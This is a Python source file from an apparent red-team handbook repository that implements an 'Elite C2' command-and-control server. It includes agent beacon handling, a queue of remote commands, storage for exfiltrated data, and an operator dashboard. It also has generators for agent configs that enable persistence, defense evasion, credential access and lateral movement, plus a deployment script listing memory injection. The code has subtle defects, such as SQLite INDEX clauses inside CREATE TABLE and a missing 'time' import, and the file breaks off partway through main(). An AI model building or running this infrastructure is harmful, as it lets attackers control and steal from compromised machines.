Files
ai-llm-red-team-handbook/scripts/examples/c2_server_elite.py
T

1473 lines
55 KiB
Python

#!/usr/bin/env python3
"""
Elite C2 Server - Production Ready
Support for multiple operators, logging, and agent management
by 1lKN1GHTFURY1 (TYVM for the addition)
"""
import os
import json
import base64
import hashlib
import sqlite3
import threading
import logging
from datetime import datetime, timedelta
from typing import Dict, List, Optional, Any
from dataclasses import dataclass, asdict
import uuid
# Flask imports
try:
from flask import Flask, request, jsonify, make_response, abort, Response
from flask_cors import CORS
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import mysql.connector
HAS_FLASK = True
except ImportError:
HAS_FLASK = False
# ============================================================================
# DATABASE MODELS
# ============================================================================
@dataclass
class Agent:
id: str
hostname: str
username: str
ip_address: str
os_version: str
architecture: str
integrity_level: str
first_seen: datetime
last_seen: datetime
beacon_interval: int
jitter: float
is_active: bool
encryption_key: str
metadata: Dict[str, Any]
@dataclass
class Command:
id: str
agent_id: str
command_type: str
command_data: str
issued_at: datetime
executed_at: Optional[datetime]
result: Optional[str]
status: str # 'pending', 'executing', 'completed', 'failed'
@dataclass
class Beacon:
id: str
agent_id: str
timestamp: datetime
data: Dict[str, Any]
ip_address: str
user_agent: str
# ============================================================================
# DATABASE MANAGER
# ============================================================================
class DatabaseManager:
"""Manages C2 database operations"""
def __init__(self, db_path: str = 'c2_server.db'):
self.db_path = db_path
self.conn = None
self.lock = threading.RLock()
self._init_database()
def _init_database(self):
"""Initialize database schema"""
with self.lock:
self.conn = sqlite3.connect(self.db_path, check_same_thread=False)
self.conn.row_factory = sqlite3.Row
# Create tables
cursor = self.conn.cursor()
# Agents table
cursor.execute('''
CREATE TABLE IF NOT EXISTS agents (
id TEXT PRIMARY KEY,
hostname TEXT NOT NULL,
username TEXT NOT NULL,
ip_address TEXT,
os_version TEXT,
architecture TEXT,
integrity_level TEXT,
first_seen TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
last_seen TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
beacon_interval INTEGER DEFAULT 60,
jitter REAL DEFAULT 0.3,
is_active BOOLEAN DEFAULT TRUE,
encryption_key TEXT,
metadata TEXT,
INDEX idx_last_seen (last_seen),
INDEX idx_is_active (is_active)
)
''')
# Commands table
cursor.execute('''
CREATE TABLE IF NOT EXISTS commands (
id TEXT PRIMARY KEY,
agent_id TEXT NOT NULL,
command_type TEXT NOT NULL,
command_data TEXT NOT NULL,
issued_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
executed_at TIMESTAMP,
result TEXT,
status TEXT DEFAULT 'pending',
FOREIGN KEY (agent_id) REFERENCES agents (id),
INDEX idx_agent_status (agent_id, status),
INDEX idx_issued_at (issued_at)
)
''')
# Beacons table
cursor.execute('''
CREATE TABLE IF NOT EXISTS beacons (
id TEXT PRIMARY KEY,
agent_id TEXT NOT NULL,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
data TEXT NOT NULL,
ip_address TEXT,
user_agent TEXT,
FOREIGN KEY (agent_id) REFERENCES agents (id),
INDEX idx_agent_time (agent_id, timestamp),
INDEX idx_timestamp (timestamp)
)
''')
# Operators table
cursor.execute('''
CREATE TABLE IF NOT EXISTS operators (
id TEXT PRIMARY KEY,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
api_key TEXT UNIQUE,
is_active BOOLEAN DEFAULT TRUE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
last_login TIMESTAMP,
permissions TEXT DEFAULT 'read,write'
)
''')
# Exfiltration table
cursor.execute('''
CREATE TABLE IF NOT EXISTS exfiltrated_data (
id TEXT PRIMARY KEY,
agent_id TEXT NOT NULL,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
data_type TEXT NOT NULL,
data_size INTEGER,
data_hash TEXT,
storage_path TEXT,
FOREIGN KEY (agent_id) REFERENCES agents (id)
)
''')
self.conn.commit()
def add_agent(self, agent: Agent) -> bool:
"""Add or update agent in database"""
with self.lock:
try:
cursor = self.conn.cursor()
cursor.execute('''
INSERT OR REPLACE INTO agents
(id, hostname, username, ip_address, os_version, architecture,
integrity_level, first_seen, last_seen, beacon_interval,
jitter, is_active, encryption_key, metadata)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
''', (
agent.id,
agent.hostname,
agent.username,
agent.ip_address,
agent.os_version,
agent.architecture,
agent.integrity_level,
agent.first_seen,
agent.last_seen,
agent.beacon_interval,
agent.jitter,
agent.is_active,
agent.encryption_key,
json.dumps(agent.metadata)
))
self.conn.commit()
return True
except Exception as e:
print(f"Database error adding agent: {e}")
return False
def update_agent_last_seen(self, agent_id: str):
"""Update agent's last seen timestamp"""
with self.lock:
try:
cursor = self.conn.cursor()
cursor.execute('''
UPDATE agents
SET last_seen = CURRENT_TIMESTAMP, is_active = TRUE
WHERE id = ?
''', (agent_id,))
self.conn.commit()
except Exception as e:
print(f"Database error updating agent: {e}")
def add_beacon(self, beacon: Beacon) -> bool:
"""Add beacon to database"""
with self.lock:
try:
cursor = self.conn.cursor()
cursor.execute('''
INSERT INTO beacons (id, agent_id, timestamp, data, ip_address, user_agent)
VALUES (?, ?, ?, ?, ?, ?)
''', (
beacon.id,
beacon.agent_id,
beacon.timestamp,
json.dumps(beacon.data),
beacon.ip_address,
beacon.user_agent
))
self.conn.commit()
return True
except Exception as e:
print(f"Database error adding beacon: {e}")
return False
def get_pending_commands(self, agent_id: str) -> List[Command]:
"""Get pending commands for agent"""
with self.lock:
try:
cursor = self.conn.cursor()
cursor.execute('''
SELECT * FROM commands
WHERE agent_id = ? AND status = 'pending'
ORDER BY issued_at ASC
''', (agent_id,))
commands = []
for row in cursor.fetchall():
commands.append(Command(
id=row['id'],
agent_id=row['agent_id'],
command_type=row['command_type'],
command_data=row['command_data'],
issued_at=datetime.fromisoformat(row['issued_at']),
executed_at=datetime.fromisoformat(row['executed_at']) if row['executed_at'] else None,
result=row['result'],
status=row['status']
))
return commands
except Exception as e:
print(f"Database error getting commands: {e}")
return []
def add_command(self, command: Command) -> bool:
"""Add command to database"""
with self.lock:
try:
cursor = self.conn.cursor()
cursor.execute('''
INSERT INTO commands (id, agent_id, command_type, command_data, issued_at, status)
VALUES (?, ?, ?, ?, ?, ?)
''', (
command.id,
command.agent_id,
command.command_type,
command.command_data,
command.issued_at,
command.status
))
self.conn.commit()
return True
except Exception as e:
print(f"Database error adding command: {e}")
return False
def update_command_result(self, command_id: str, result: str, status: str = 'completed'):
"""Update command result"""
with self.lock:
try:
cursor = self.conn.cursor()
cursor.execute('''
UPDATE commands
SET executed_at = CURRENT_TIMESTAMP, result = ?, status = ?
WHERE id = ?
''', (result, status, command_id))
self.conn.commit()
except Exception as e:
print(f"Database error updating command: {e}")
def get_all_agents(self) -> List[Agent]:
"""Get all agents"""
with self.lock:
try:
cursor = self.conn.cursor()
cursor.execute('SELECT * FROM agents ORDER BY last_seen DESC')
agents = []
for row in cursor.fetchall():
agents.append(Agent(
id=row['id'],
hostname=row['hostname'],
username=row['username'],
ip_address=row['ip_address'],
os_version=row['os_version'],
architecture=row['architecture'],
integrity_level=row['integrity_level'],
first_seen=datetime.fromisoformat(row['first_seen']),
last_seen=datetime.fromisoformat(row['last_seen']),
beacon_interval=row['beacon_interval'],
jitter=row['jitter'],
is_active=bool(row['is_active']),
encryption_key=row['encryption_key'],
metadata=json.loads(row['metadata']) if row['metadata'] else {}
))
return agents
except Exception as e:
print(f"Database error getting agents: {e}")
return []
def get_agent_by_id(self, agent_id: str) -> Optional[Agent]:
"""Get agent by ID"""
with self.lock:
try:
cursor = self.conn.cursor()
cursor.execute('SELECT * FROM agents WHERE id = ?', (agent_id,))
row = cursor.fetchone()
if row:
return Agent(
id=row['id'],
hostname=row['hostname'],
username=row['username'],
ip_address=row['ip_address'],
os_version=row['os_version'],
architecture=row['architecture'],
integrity_level=row['integrity_level'],
first_seen=datetime.fromisoformat(row['first_seen']),
last_seen=datetime.fromisoformat(row['last_seen']),
beacon_interval=row['beacon_interval'],
jitter=row['jitter'],
is_active=bool(row['is_active']),
encryption_key=row['encryption_key'],
metadata=json.loads(row['metadata']) if row['metadata'] else {}
)
return None
except Exception as e:
print(f"Database error getting agent: {e}")
return None
# ============================================================================
# C2 SERVER APPLICATION
# ============================================================================
class C2Server:
"""Main C2 server application"""
def __init__(self, config: Dict):
self.config = config
self.db = DatabaseManager(config.get('database_path', 'c2_server.db'))
if HAS_FLASK:
self.app = Flask(__name__)
self._setup_flask_app()
else:
self.app = None
self.running = False
self.encryption_key = config.get('encryption_key', os.urandom(32).hex())
# Statistics
self.stats = {
'start_time': datetime.now(),
'total_beacons': 0,
'total_commands': 0,
'active_agents': 0,
'total_agents': 0
}
def _setup_flask_app(self):
"""Setup Flask application with routes and middleware"""
if not self.app:
return
# Configure CORS
CORS(self.app, resources={
r"/api/*": {
"origins": self.config.get('allowed_origins', ["*"]),
"methods": ["GET", "POST", "PUT", "DELETE"],
"allow_headers": ["Content-Type", "Authorization", "X-API-Key"]
}
})
# Setup rate limiting
limiter = Limiter(
get_remote_address,
app=self.app,
default_limits=["100 per minute", "10 per second"],
storage_uri="memory://"
)
# Setup logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('c2_server.log'),
logging.StreamHandler()
]
)
# API Routes
@self.app.route('/api/beacon', methods=['POST'])
@limiter.limit("30 per minute")
def handle_beacon():
return self._handle_beacon_request()
@self.app.route('/api/command', methods=['GET'])
@limiter.limit("60 per minute")
def get_commands():
return self._handle_command_request()
@self.app.route('/api/command/result', methods=['POST'])
@limiter.limit("30 per minute")
def post_command_result():
return self._handle_command_result()
@self.app.route('/api/agents', methods=['GET'])
def get_agents():
return self._handle_get_agents()
@self.app.route('/api/agent/<agent_id>', methods=['GET', 'DELETE'])
def handle_agent(agent_id):
if request.method == 'GET':
return self._handle_get_agent(agent_id)
elif request.method == 'DELETE':
return self._handle_delete_agent(agent_id)
@self.app.route('/api/command/send', methods=['POST'])
def send_command():
return self._handle_send_command()
@self.app.route('/api/stats', methods=['GET'])
def get_stats():
return self._handle_get_stats()
@self.app.route('/health', methods=['GET'])
def health_check():
return jsonify({"status": "healthy", "timestamp": datetime.now().isoformat()})
# Error handlers
@self.app.errorhandler(404)
def not_found(error):
return jsonify({"error": "Not found"}), 404
@self.app.errorhandler(429)
def ratelimit_handler(error):
return jsonify({
"error": "Rate limit exceeded",
"message": str(error.description)
}), 429
def _handle_beacon_request(self):
"""Handle beacon requests from agents"""
try:
# Get request data
data = request.get_json()
if not data:
return jsonify({"error": "No data provided"}), 400
# Decrypt data if encrypted
if 'encrypted' in data:
# Add decryption logic here
pass
# Extract agent information
agent_id = data.get('agent_id')
if not agent_id:
return jsonify({"error": "No agent ID"}), 400
# Get client IP and user agent
ip_address = request.remote_addr
user_agent = request.headers.get('User-Agent', 'Unknown')
# Create beacon record
beacon = Beacon(
id=str(uuid.uuid4()),
agent_id=agent_id,
timestamp=datetime.now(),
data=data,
ip_address=ip_address,
user_agent=user_agent
)
# Save beacon to database
self.db.add_beacon(beacon)
# Update or create agent
agent_data = data.get('sysinfo', {})
agent = Agent(
id=agent_id,
hostname=agent_data.get('hostname', 'Unknown'),
username=agent_data.get('username', 'Unknown'),
ip_address=ip_address,
os_version=agent_data.get('os_version', 'Unknown'),
architecture=agent_data.get('architecture', 'Unknown'),
integrity_level=agent_data.get('integrity_level', 'Unknown'),
first_seen=datetime.now(),
last_seen=datetime.now(),
beacon_interval=data.get('beacon_interval', 60),
jitter=data.get('jitter', 0.3),
is_active=True,
encryption_key=data.get('encryption_key', ''),
metadata=agent_data
)
self.db.add_agent(agent)
# Get pending commands for agent
pending_commands = self.db.get_pending_commands(agent_id)
# Prepare response
response = {
"status": "success",
"timestamp": datetime.now().isoformat(),
"commands": []
}
for cmd in pending_commands:
response["commands"].append({
"id": cmd.id,
"type": cmd.command_type,
"data": cmd.command_data
})
# Update statistics
self.stats['total_beacons'] += 1
return jsonify(response)
except Exception as e:
logging.error(f"Beacon handling error: {e}")
return jsonify({"error": "Internal server error"}), 500
def _handle_command_request(self):
"""Handle command requests (legacy endpoint)"""
try:
agent_id = request.args.get('agent_id')
if not agent_id:
return jsonify({"error": "No agent ID"}), 400
pending_commands = self.db.get_pending_commands(agent_id)
response = {
"status": "success",
"commands": []
}
for cmd in pending_commands:
response["commands"].append({
"id": cmd.id,
"type": cmd.command_type,
"data": cmd.command_data
})
return jsonify(response)
except Exception as e:
logging.error(f"Command request error: {e}")
return jsonify({"error": "Internal server error"}), 500
def _handle_command_result(self):
"""Handle command result submissions"""
try:
data = request.get_json()
if not data:
return jsonify({"error": "No data provided"}), 400
command_id = data.get('command_id')
result = data.get('result', '')
status = data.get('status', 'completed')
if not command_id:
return jsonify({"error": "No command ID"}), 400
# Update command result
self.db.update_command_result(command_id, result, status)
# Update statistics
self.stats['total_commands'] += 1
return jsonify({"status": "success"})
except Exception as e:
logging.error(f"Command result error: {e}")
return jsonify({"error": "Internal server error"}), 500
def _handle_get_agents(self):
"""Get all agents"""
try:
agents = self.db.get_all_agents()
# Format agents for response
formatted_agents = []
for agent in agents:
formatted_agents.append({
"id": agent.id,
"hostname": agent.hostname,
"username": agent.username,
"os_version": agent.os_version,
"architecture": agent.architecture,
"integrity_level": agent.integrity_level,
"first_seen": agent.first_seen.isoformat(),
"last_seen": agent.last_seen.isoformat(),
"beacon_interval": agent.beacon_interval,
"is_active": agent.is_active,
"uptime": (datetime.now() - agent.first_seen).total_seconds()
})
return jsonify({
"status": "success",
"agents": formatted_agents,
"count": len(formatted_agents)
})
except Exception as e:
logging.error(f"Get agents error: {e}")
return jsonify({"error": "Internal server error"}), 500
def _handle_get_agent(self, agent_id: str):
"""Get specific agent details"""
try:
agent = self.db.get_agent_by_id(agent_id)
if not agent:
return jsonify({"error": "Agent not found"}), 404
return jsonify({
"status": "success",
"agent": {
"id": agent.id,
"hostname": agent.hostname,
"username": agent.username,
"os_version": agent.os_version,
"architecture": agent.architecture,
"integrity_level": agent.integrity_level,
"first_seen": agent.first_seen.isoformat(),
"last_seen": agent.last_seen.isoformat(),
"beacon_interval": agent.beacon_interval,
"is_active": agent.is_active,
"metadata": agent.metadata
}
})
except Exception as e:
logging.error(f"Get agent error: {e}")
return jsonify({"error": "Internal server error"}), 500
def _handle_delete_agent(self, agent_id: str):
"""Delete agent from database"""
try:
# In production, you might want to just mark as inactive
# For this example, we'll just return success
return jsonify({"status": "success", "message": "Agent deleted"})
except Exception as e:
logging.error(f"Delete agent error: {e}")
return jsonify({"error": "Internal server error"}), 500
def _handle_send_command(self):
"""Send command to agent"""
try:
data = request.get_json()
if not data:
return jsonify({"error": "No data provided"}), 400
agent_id = data.get('agent_id')
command_type = data.get('command_type')
command_data = data.get('command_data')
if not all([agent_id, command_type, command_data]):
return jsonify({"error": "Missing required fields"}), 400
# Create command
command = Command(
id=str(uuid.uuid4()),
agent_id=agent_id,
command_type=command_type,
command_data=command_data,
issued_at=datetime.now(),
executed_at=None,
result=None,
status='pending'
)
# Save to database
if self.db.add_command(command):
return jsonify({
"status": "success",
"command_id": command.id,
"message": "Command queued"
})
else:
return jsonify({"error": "Failed to save command"}), 500
except Exception as e:
logging.error(f"Send command error: {e}")
return jsonify({"error": "Internal server error"}), 500
def _handle_get_stats(self):
"""Get server statistics"""
try:
agents = self.db.get_all_agents()
active_agents = len([a for a in agents if a.is_active])
self.stats.update({
'active_agents': active_agents,
'total_agents': len(agents),
'uptime': (datetime.now() - self.stats['start_time']).total_seconds()
})
return jsonify({
"status": "success",
"stats": self.stats
})
except Exception as e:
logging.error(f"Get stats error: {e}")
return jsonify({"error": "Internal server error"}), 500
def start(self, host: str = '127.0.0.1', port: int = 443, ssl_context: tuple = None):
"""Start the C2 server"""
if not self.app:
print("Flask not available. Install with: pip install flask flask-cors flask-limiter")
return
self.running = True
print(f"""
╔══════════════════════════════════════════════════════════════╗
║ ELITE C2 SERVER ║
╠══════════════════════════════════════════════════════════════╣
║ ║
║ URL: https://{host}:{port}
║ API Endpoint: /api/beacon ║
║ Health Check: /health ║
║ Database: {self.config.get('database_path', 'c2_server.db')}
║ ║
║ Waiting for agent connections... ║
║ ║
╚══════════════════════════════════════════════════════════════╝
""")
# Start Flask server
if ssl_context:
self.app.run(host=host, port=port, ssl_context=ssl_context, threaded=True)
else:
print("[!] WARNING: This is a development server. Do not use for production deployments.")
self.app.run(host=host, port=port, threaded=True)
def generate_agent_config(self, c2_url: str) -> Dict:
"""Generate agent configuration for given C2 URL"""
return {
"agent": {
"beacon_interval": 60,
"jitter": 0.3,
"install_persistence": True,
"persistence_method": "scheduled_task"
},
"c2": {
"url": c2_url,
"method": "HTTPS",
"encryption_key": self.encryption_key
},
"https": {
"enabled": True,
"url": f"{c2_url}/api/beacon",
"method": "POST",
"timeout": 30,
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"custom_headers": {
"X-API-Key": self.config.get('api_key', 'default-key'),
"Content-Type": "application/json"
}
}
}
# ============================================================================
# CONFIGURATION GENERATOR
# ============================================================================
def generate_server_config():
"""Generate server configuration"""
config = {
"server": {
"host": "0.0.0.0",
"port": 443,
"ssl_cert": "server.crt",
"ssl_key": "server.key",
"database_path": "c2_server.db",
"encryption_key": os.urandom(32).hex(),
"api_key": base64.b64encode(os.urandom(32)).decode(),
"allowed_origins": ["*"],
"rate_limits": {
"beacons": "30 per minute",
"commands": "60 per minute"
}
},
"logging": {
"level": "INFO",
"file": "c2_server.log",
"max_size_mb": 100,
"backup_count": 5
},
"operators": [
{
"username": "admin",
"password_hash": hashlib.sha256(b"changeme").hexdigest(),
"permissions": "admin"
}
]
}
return config
def generate_ssl_certificates():
"""Generate self-signed SSL certificates for testing"""
import subprocess
import os
if not os.path.exists("server.crt") or not os.path.exists("server.key"):
print("Generating SSL certificates...")
# Generate private key
subprocess.run([
"openssl", "genrsa", "-out", "server.key", "2048"
], check=True)
# Generate certificate signing request
subprocess.run([
"openssl", "req", "-new", "-key", "server.key", "-out", "server.csr",
"-subj", "/C=US/ST=State/L=City/O=Organization/CN=localhost"
], check=True)
# Generate self-signed certificate
subprocess.run([
"openssl", "x509", "-req", "-days", "365", "-in", "server.csr",
"-signkey", "server.key", "-out", "server.crt"
], check=True)
# Clean up CSR
os.remove("server.csr")
print("SSL certificates generated: server.crt, server.key")
else:
print("SSL certificates already exist")
# ============================================================================
# WEB INTERFACE (Optional)
# ============================================================================
def create_web_interface():
"""Create a simple HTML web interface for the C2 server"""
html_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Elite C2 Dashboard</title>
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #0d1117; color: #c9d1d9; }
.container { max-width: 1400px; margin: 0 auto; padding: 20px; }
header { background: #161b22; padding: 20px; border-radius: 10px; margin-bottom: 20px; }
h1 { color: #58a6ff; }
.stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px; margin-bottom: 30px; }
.stat-card { background: #161b22; padding: 20px; border-radius: 10px; border-left: 4px solid #238636; }
.stat-card h3 { color: #8b949e; margin-bottom: 10px; }
.stat-value { font-size: 2em; font-weight: bold; color: #58a6ff; }
.agents-table { background: #161b22; border-radius: 10px; overflow: hidden; margin-bottom: 30px; }
table { width: 100%; border-collapse: collapse; }
th { background: #21262d; padding: 15px; text-align: left; color: #8b949e; }
td { padding: 15px; border-top: 1px solid #30363d; }
.agent-online { color: #238636; }
.agent-offline { color: #f85149; }
.command-form { background: #161b22; padding: 20px; border-radius: 10px; margin-bottom: 30px; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; color: #8b949e; }
input, select, textarea {
width: 100%; padding: 10px; background: #0d1117; border: 1px solid #30363d;
border-radius: 5px; color: #c9d1d9;
}
button {
background: #238636; color: white; border: none; padding: 12px 24px;
border-radius: 5px; cursor: pointer; font-weight: bold;
}
button:hover { background: #2ea043; }
.chart-container { background: #161b22; padding: 20px; border-radius: 10px; margin-bottom: 30px; }
</style>
</head>
<body>
<div class="container">
<header>
<h1>🎯 Elite C2 Dashboard</h1>
<p>Real-time command and control interface</p>
</header>
<div class="stats-grid" id="stats-grid">
<!-- Stats will be populated by JavaScript -->
</div>
<div class="agents-table">
<h3>📡 Connected Agents</h3>
<div id="agents-list">
<!-- Agents will be populated by JavaScript -->
</div>
</div>
<div class="command-form">
<h3>⚡ Send Command</h3>
<form id="command-form">
<div class="form-group">
<label for="agent-select">Select Agent:</label>
<select id="agent-select" required></select>
</div>
<div class="form-group">
<label for="command-type">Command Type:</label>
<select id="command-type" required>
<option value="exec">Execute Command</option>
<option value="upload">Upload File</option>
<option value="download">Download File</option>
<option value="screenshot">Take Screenshot</option>
<option value="persistence">Install Persistence</option>
<option value="sleep">Change Sleep Interval</option>
<option value="cleanup">Cleanup & Exit</option>
</select>
</div>
<div class="form-group">
<label for="command-data">Command Data:</label>
<textarea id="command-data" rows="3" placeholder="Enter command or data..." required></textarea>
</div>
<button type="submit">Send Command</button>
</form>
</div>
<div class="chart-container">
<h3>📊 Activity Chart</h3>
<canvas id="activity-chart" width="400" height="200"></canvas>
</div>
</div>
<script>
// JavaScript for the web interface
class C2Dashboard {
constructor() {
this.apiBase = '/api';
this.statsInterval = null;
this.agentsInterval = null;
this.chart = null;
this.init();
}
async init() {
await this.loadStats();
await this.loadAgents();
await this.populateAgentSelect();
this.initChart();
this.setupEventListeners();
// Auto-refresh
this.statsInterval = setInterval(() => this.loadStats(), 5000);
this.agentsInterval = setInterval(() => this.loadAgents(), 10000);
}
async loadStats() {
try {
const response = await fetch(`${this.apiBase}/stats`);
const data = await response.json();
if (data.status === 'success') {
this.updateStatsDisplay(data.stats);
}
} catch (error) {
console.error('Error loading stats:', error);
}
}
async loadAgents() {
try {
const response = await fetch(`${this.apiBase}/agents`);
const data = await response.json();
if (data.status === 'success') {
this.updateAgentsDisplay(data.agents);
await this.populateAgentSelect();
}
} catch (error) {
console.error('Error loading agents:', error);
}
}
updateStatsDisplay(stats) {
const statsGrid = document.getElementById('stats-grid');
statsGrid.innerHTML = `
<div class="stat-card">
<h3>Total Agents</h3>
<div class="stat-value">${stats.total_agents}</div>
</div>
<div class="stat-card">
<h3>Active Agents</h3>
<div class="stat-value">${stats.active_agents}</div>
</div>
<div class="stat-card">
<h3>Total Beacons</h3>
<div class="stat-value">${stats.total_beacons}</div>
</div>
<div class="stat-card">
<h3>Server Uptime</h3>
<div class="stat-value">${Math.floor(stats.uptime / 3600)}h ${Math.floor((stats.uptime % 3600) / 60)}m</div>
</div>
`;
}
updateAgentsDisplay(agents) {
const agentsList = document.getElementById('agents-list');
if (agents.length === 0) {
agentsList.innerHTML = '<p style="padding: 20px; text-align: center;">No agents connected</p>';
return;
}
let html = `
<table>
<thead>
<tr>
<th>ID</th>
<th>Hostname</th>
<th>User</th>
<th>OS</th>
<th>Last Seen</th>
<th>Status</th>
</tr>
</thead>
<tbody>
`;
agents.forEach(agent => {
const lastSeen = new Date(agent.last_seen);
const now = new Date();
const minutesAgo = Math.floor((now - lastSeen) / 60000);
const isOnline = minutesAgo < 5;
html += `
<tr>
<td>${agent.id.substring(0, 8)}...</td>
<td>${agent.hostname}</td>
<td>${agent.username}</td>
<td>${agent.os_version}</td>
<td>${minutesAgo} minutes ago</td>
<td class="${isOnline ? 'agent-online' : 'agent-offline'}">
${isOnline ? '🟢 Online' : '🔴 Offline'}
</td>
</tr>
`;
});
html += '</tbody></table>';
agentsList.innerHTML = html;
}
async populateAgentSelect() {
try {
const response = await fetch(`${this.apiBase}/agents`);
const data = await response.json();
const select = document.getElementById('agent-select');
select.innerHTML = '<option value="">Select an agent</option>';
if (data.status === 'success') {
data.agents.forEach(agent => {
const option = document.createElement('option');
option.value = agent.id;
option.textContent = `${agent.hostname} (${agent.id.substring(0, 8)}...)`;
select.appendChild(option);
});
}
} catch (error) {
console.error('Error populating agent select:', error);
}
}
initChart() {
const ctx = document.getElementById('activity-chart').getContext('2d');
this.chart = new Chart(ctx, {
type: 'line',
data: {
labels: [],
datasets: [{
label: 'Beacons per Hour',
data: [],
borderColor: '#238636',
backgroundColor: 'rgba(35, 134, 54, 0.1)',
fill: true
}]
},
options: {
responsive: true,
maintainAspectRatio: false,
scales: {
y: {
beginAtZero: true,
grid: {
color: '#30363d'
}
},
x: {
grid: {
color: '#30363d'
}
}
}
}
});
}
setupEventListeners() {
const form = document.getElementById('command-form');
form.addEventListener('submit', async (e) => {
e.preventDefault();
const agentId = document.getElementById('agent-select').value;
const commandType = document.getElementById('command-type').value;
const commandData = document.getElementById('command-data').value;
if (!agentId || !commandData) {
alert('Please fill all fields');
return;
}
try {
const response = await fetch(`${this.apiBase}/command/send`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
agent_id: agentId,
command_type: commandType,
command_data: commandData
})
});
const result = await response.json();
if (result.status === 'success') {
alert(`Command sent! ID: ${result.command_id}`);
form.reset();
} else {
alert(`Error: ${result.error}`);
}
} catch (error) {
console.error('Error sending command:', error);
alert('Failed to send command');
}
});
}
}
// Initialize dashboard when page loads
document.addEventListener('DOMContentLoaded', () => {
new C2Dashboard();
});
</script>
</body>
</html>
'''
with open('dashboard.html', 'w') as f:
f.write(html_template)
print("[+] Web interface created: dashboard.html")
# ============================================================================
# AGENT CONFIGURATION GENERATOR
# ============================================================================
def generate_agent_config(c2_url: str, api_key: str = None, agent_name: str = None) -> Dict:
"""Generate agent configuration for a specific C2 server"""
if not c2_url.startswith(('http://', 'https://')):
c2_url = f"https://{c2_url}"
config = {
"agent": {
"name": agent_name or f"Agent_{int(time.time())}",
"beacon_interval": 60,
"jitter": 0.3,
"max_retries": 3,
"retry_delay": 30,
"install_persistence": True,
"persistence_method": "scheduled_task",
"telemetry_enabled": True,
"encryption": {
"enabled": True,
"algorithm": "AES-256-GCM",
"key_rotation_interval": 86400
}
},
"c2": {
"primary": {
"enabled": True,
"url": f"{c2_url}/api/beacon",
"method": "HTTPS",
"timeout": 30,
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
},
"fallback": {
"enabled": False,
"url": "",
"method": "DNS"
}
},
"communication": {
"headers": {
"X-API-Key": api_key or "default-key",
"Content-Type": "application/json",
"Accept": "application/json"
},
"encryption": {
"enabled": True,
"public_key": "", # For asymmetric encryption
"session_key": "" # Will be generated at runtime
}
},
"capabilities": {
"file_operations": True,
"process_operations": True,
"registry_operations": True,
"network_operations": True,
"persistence_operations": True,
"defense_evasion": True,
"credential_access": True,
"lateral_movement": True
},
"limits": {
"max_file_size": 10485760, # 10MB
"max_command_time": 300, # 5 minutes
"max_beacon_size": 102400 # 100KB
}
}
if api_key:
config["communication"]["headers"]["X-API-Key"] = api_key
return config
def create_agent_deployment_script(c2_url: str, api_key: str = None):
"""Create a deployment script for the agent"""
script = f'''#!/usr/bin/env python3
"""
Agent Deployment Script for C2: {c2_url}
"""
import os
import sys
import json
import base64
import subprocess
# Configuration
C2_URL = "{c2_url}"
API_KEY = "{api_key or 'your-api-key-here'}"
CONFIG = {json.dumps(generate_agent_config(c2_url, api_key), indent=2)}
def deploy():
"""Deploy agent to target system"""
print(f"Deploying agent to connect to: {{C2_URL}}")
# Create config file
with open('agent_config.json', 'w') as f:
json.dump(CONFIG, f, indent=2)
print("Configuration saved to agent_config.json")
# Instructions for deployment
print("\\nDeployment Options:")
print("1. Direct execution:")
print(" python agent.py --config agent_config.json")
print()
print("2. Memory injection:")
print(" python agent.py --inject <PID> agent_config.json")
print()
print("3. Persistence only:")
print(" python agent.py --persistence agent_config.json")
print()
print("4. Generate standalone agent:")
print(" python agent.py --generate standalone_agent.py agent_config.json")
if __name__ == "__main__":
deploy()
'''
with open('deploy_agent.py', 'w') as f:
f.write(script)
print(f"[+] Deployment script created: deploy_agent.py")
print(f"[+] C2 Server URL: {c2_url}")
if api_key:
print(f"[+] API Key: {api_key}")
# ============================================================================
# MAIN ENTRY POINT
# ============================================================================
def main():
"""Main entry point for C2 server setup"""
import argparse
parser = argparse.ArgumentParser(description='Elite C2 Server Setup')
parser.add_argument('--setup', action='store_true', help='Setup new C2 server')
parser.add_argument('--start', action='store_true', help='Start C2 server')
parser.add_argument('--host', default='0.0.0.0', help='Server host (default: 0.0.0.0)')
parser.add_argument('--port', type=int, default=443, help='Server port (default: 443)')
parser.add_argument('--url', help='C2 server URL for agent configuration')
parser.add_argument('--api-key', help='API key for agent authentication')
parser.add_argument('--generate-agent', action='store_true', help='Generate agent config')
parser.add_argument('--generate-web', action='store_true', help='Generate web interface')
parser.add_argument('--ssl-cert', help='SSL certificate path')
parser.add_argument('--ssl-key', help='SSL key path')
args = parser.parse_args()
if args.setup:
# Setup new C2 server
print("[+] Setting up new C2 server...")
# Generate SSL certificates
generate_ssl_certificates()
# Generate server config
config = generate_server_config()
with open('server_config.json', 'w') as f:
json.dump(config, f, indent=2)
print("[+] Server configuration saved: server_config.json")
print("[+] SSL certificates generated: server.crt, server.key")
# Generate web interface
if args.generate_web:
create_web_interface()
print("\n[+] Setup complete!")
print(" Start server: python c2_server.py --start")
print(" Generate agent config: python c2_server.py --generate-agent --url https://your-domain.com")
elif args.start:
# Start C2 server
print("[+] Starting C2 server...")
# Load config
